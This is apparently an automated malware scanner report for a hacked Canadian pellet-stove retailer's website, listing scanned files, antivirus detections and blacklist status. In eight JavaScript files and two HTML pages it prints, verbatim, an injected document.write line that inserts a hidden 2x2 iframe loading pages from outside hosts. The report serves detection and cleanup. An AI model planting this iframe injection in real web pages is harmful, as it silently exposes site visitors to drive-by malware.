New scan:

Malware Scanner report for pelletstove-canada.com

Malicious/Suspicious/Total urls checked
8/0/15
8 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "pelletstove-canada.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/10/10
10 suspicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=pelletstove-canada.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://pelletstove-canada.com/
200 OK
Content-Length: 4940
Content-Type: text/html
clean
http://pelletstove-canada.com/menu.js
200 OK
Content-Length: 2374
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!-- Begin
var menuside = "right" var menuspace = "5"
document.write('<table cellpadding="0" cellspacing="0" border="0" WIDTH="100%" class="menubackground"><tr><td align="'+menuside+'" class="printhide">');
document.write('<table cellpadding="0" cellspacing="0" border="0">
... 1667 bytes are skipped ...
"home.htm" class="menu">Home</a>');
document.write('</td><td width="2">');
document.write('<img src="picts/menu-end.gif" width="2" height="25"></a><br>');
document.write('</td><td width="'+menuspace+'">');
document.write('<img src="picts/spacer.gif" width="'+menuspace+'" height="25"></a><br>');
document.write('</td></tr></table>');
document.write('</td></tr></table>');

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AMQ [Trj]
Ikarus
Exploit.HTML.IframeRef
TrendMicro-HouseCall
TROJ_GEN.F47V0721
Comodo
TrojWare.JS.Iframe.FK
Emsisoft
Trojan.Iframe.CEG (B)
McAfee-GW-Edition
JS/IFrame.gen.j
DrWeb
JS.IFrame.473
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.CEG
Fortinet
JS/Iframe.HH!tr
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.CEG
VIPRE
Malware.JS.Generic (JS)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.YR
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.CEG
Symantec
Trojan.Maliframe!html
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/header.js
200 OK
Content-Length: 1908
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!-- Begin HEADER OPTIONS CODE
var flashwidth = "500" var flashheight = "80" var color = "000000" var menuspace = "yes"
if (menuspace == "yes") {
document.write('<table cellpadding="0" cellspacing="0" border="0" width="100%" class="menuspace"><tr><td>');
document.wr
... 704 bytes are skipped ...
>document.write('<PARAM NAME="wmode" VALUE="transparent">');
document.write('<PARAM NAME="bgcolor" VALUE="#'+color+'">');
document.write('<EMBED src="logo.swf" quality="high" wmode="transparent" bgcolor="#'+color+'" WIDTH="'+flashwidth+'" HEIGHT="'+flashheight+'" NAME="logo" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED></OBJECT><br>');
document.write('</td></tr></table>');

Antivirus reports:

Qihoo-360
virus.html.url
AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-EHO [Trj]
Ad-Aware
Trojan.Iframe.CEG
Bkav
MW.Clodd77.Trojan.835e
Antiy-AVL
Trojan/Script.AGeneric
Ikarus
Exploit.HTML.IframeRef
nProtect
Trojan.Iframe.CEG
Emsisoft
Trojan.Iframe.CEG (B)
Comodo
TrojWare.JS.Iframe.FK
McAfee-GW-Edition
JS/IFrame.gen.j
DrWeb
JS.IFrame.473
Microsoft
Exploit:HTML/IframeRef.DM
Kaspersky
HEUR:Trojan.Script.Generic
MicroWorld-eScan
Trojan.Iframe.CEG
Fortinet
JS/Iframe.HH!tr
McAfee
JS/IFrame.gen.j
NANO-Antivirus
Trojan.Html.TwitScroll.bklyhq
F-Secure
Trojan.Iframe.CEG
VIPRE
Malware.JS.Generic (JS)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.YR
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.CEG
Symantec
Trojan.Maliframe!html
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.JE
BitDefender
Trojan.Iframe.CEG

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/imagechanger.js
200 OK
Content-Length: 2560
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!-- Begin OPTIONS CODE
var showflash = "yes" var flashwidth = "750" var flashheight = "333" var color = "000000" var flashmode = "transparent" var swffile = "imagechanger"
var noflashimg = "flash/image1.jpg"
if (showflash == "yes") {
if ((navigator.userAgent.indexOf('iPhone')
... 1246 bytes are skipped ...
ashwidth+'" height="'+flashheight+'" name="'+swffile+'" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><br>');
}
else {
document.write('<img src="'+noflashimg+'" width="'+flashwidth+'" height="'+flashheight+'" border="0"><br>');
}
}
}
else {
document.write('<img src="'+noflashimg+'" width="'+flashwidth+'" height="'+flashheight+'" border="0"><br>');
}

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AMQ [Trj]
Ikarus
Exploit.HTML.IframeRef
TrendMicro-HouseCall
TROJ_GEN.F47V0721
Comodo
TrojWare.JS.Iframe.FK
Emsisoft
Trojan.Iframe.CEG (B)
McAfee-GW-Edition
JS/IFrame.gen.j
DrWeb
JS.IFrame.473
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.CEG
Fortinet
JS/Iframe.HH!tr
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.CEG
VIPRE
Malware.JS.Generic (JS)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.YR
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.CEG
Symantec
Trojan.Maliframe!html
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/copyright.js
200 OK
Content-Length: 430
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!-- Begin
document.write('&copy;Copyright 2011 ');
document.write('<a href="index.html" target="_top" class="footer">Atlanta-America</a> ');
document.write('All Rights Reserved<br>');

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AMJ [Trj]
Ikarus
Exploit.HTML.IframeRef
nProtect
Trojan.Iframe.BZW
Emsisoft
Trojan.Iframe.BZW (B)
Comodo
TrojWare.JS.Iframe.FK
McAfee-GW-Edition
JS/IFrame.gen.j
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.BZW
Fortinet
JS/Iframe.HH!tr
PCTools
Exploit.IFrame
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.BZW
VIPRE
Exploit.HTML.Iframe.dm (v)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.UW
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.BZW
Symantec
IFrame.Exploit
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH
BitDefender
Trojan.Iframe.BZW

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/copyright-allwebco.js
200 OK
Content-Length: 559
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!-- Begin
document.write('<a href="http://www.atlanta-america.com" target="_blank" class="footer">Atlanta-America</a><a href="http://atlanta-america.com" target="_blank" class="footer"> - Specialty Appliance</a> &copy; 2011</span>');
document.write('<br>');

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AMQ [Trj]
Ikarus
Exploit.HTML.IframeRef
Comodo
TrojWare.JS.Iframe.FK
Emsisoft
Trojan.Iframe.CEG (B)
DrWeb
JS.IFrame.473
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.CEG
Fortinet
JS/Iframe.HH!tr
F-Secure
Trojan.Iframe.CEG
VIPRE
Malware.JS.Generic (JS)
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.YR
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.CEG
Symantec
Trojan.Maliframe!html
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/about.htm
200 OK
Content-Length: 5960
Content-Type: text/html
suspicious
Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?i=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?i=1659713>

http://pelletstove-canada.com/javascripts.js
200 OK
Content-Length: 242
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

<!--
function blockError(){return true;}
window.onerror = blockError;

Antivirus reports:

AntiVir
HTML/TwitScroll.B
Avast
JS:Iframe-AMJ [Trj]
Ikarus
Exploit.HTML.IframeRef
nProtect
Trojan.Iframe.BZW
Emsisoft
Trojan.Iframe.BZW (B)
Comodo
TrojWare.JS.Iframe.FK
McAfee-GW-Edition
JS/IFrame.gen.j
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.BZW
Fortinet
JS/Iframe.HH!tr
PCTools
Exploit.IFrame
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.BZW
F-Prot
IFrame.gen
AVG
HTML/Framer
Norman
Iframe.UW
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.BZW
Symantec
IFrame.Exploit
Commtouch
IFrame.gen
ESET-NOD32
JS/Iframe.HH
BitDefender
Trojan.Iframe.BZW

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/pop-closeup.js
200 OK
Content-Length: 1330
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://themedicalbilling-net.testboss.com/ztsx.html?j=1659713></iframe>');

<!-- Begin VIEWER OPTIONS CODE
var viewer = "same" var width = "800" var height = "625" var scrollbars = "yes" var menu = "no" var tool = "no"
function ViewImage(data) {
if (viewer == "popup") {
windowHandle = window.open('image-viewer.htm' + '?' + data,'windowName',',scrollbars='+scrollbars+',resizable=yes,toolbar='+tool+',menubar='+menu+',width='+width+',height='+height+'');
}
else if (viewer == "new") {
windowHandle = window.open('image-viewer.htm' + '?' + data,'windowName');
}
else if (viewer == "same") {
window.location = ('image-viewer.htm' + '?' + data);
}
}

Antivirus reports:

AntiVir
JS/iFrame.bzw.174
Avast
JS:Iframe-AMQ [Trj]
Ikarus
Exploit.HTML.IframeRef
TrendMicro-HouseCall
TROJ_GEN.F47V0721
Comodo
TrojWare.JS.Iframe.FK
Emsisoft
Trojan.Iframe.CEG (B)
McAfee-GW-Edition
JS/IFrame.gen.j
DrWeb
JS.IFrame.473
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Exploit:HTML/IframeRef.DM
MicroWorld-eScan
Trojan.Iframe.CEG
Fortinet
JS/Iframe.HH!tr
McAfee
JS/IFrame.gen.j
F-Secure
Trojan.Iframe.CEG
VIPRE
Exploit.HTML.Iframe.dm (v)
AVG
HTML/Framer
Norman
Iframe.YR
Sophos
Troj/Iframe-JG
GData
Trojan.Iframe.CEG
Symantec
Trojan.Maliframe!html
ESET-NOD32
JS/Iframe.HH

Hidden iFrame found.
size: 2x2     
src: http://themedicalbilling-net.testboss.com/ztsx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://themedicalbilling-net.testboss.com/ztsx.html?j=1659713>

http://pelletstove-canada.com/mouseover.js
200 OK
Content-Length: 166
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713></iframe>');

Antivirus reports:

Norman
Iframe.UW

Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?j=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?j=1659713>

http://pelletstove-canada.com/sidebar.js
200 OK
Content-Length: 1977
Content-Type: application/javascript
clean
http://pelletstove-canada.com/contact.htm
200 OK
Content-Length: 4255
Content-Type: text/html
clean
http://pelletstove-canada.com/contact.js
200 OK
Content-Length: 632
Content-Type: application/javascript
clean
http://pelletstove-canada.com/test404page.js
404 Not Found
Content-Length: 2693
Content-Type: text/html
clean
http://pelletstove-canada.com/services.htm
200 OK
Content-Length: 4013
Content-Type: text/html
suspicious
Hidden iFrame found.
size: 2x2     
src: http://aprendamatematica.com/aysx.html?i=1659713

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://aprendamatematica.com/aysx.html?i=1659713>


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: pelletstove-canada.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 09 Sep 2014 02:02:23 GMT
Accept-Ranges: bytes
Server: Apache
Vary: Accept-Encoding
Content-Length: 4940
Content-Type: text/html

...4940 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: pelletstove-canada.com
Referer: http://www.google.com/search?q=pelletstove-canada.com

Result:
The result is similar to the first query. There are no suspicious redirects found.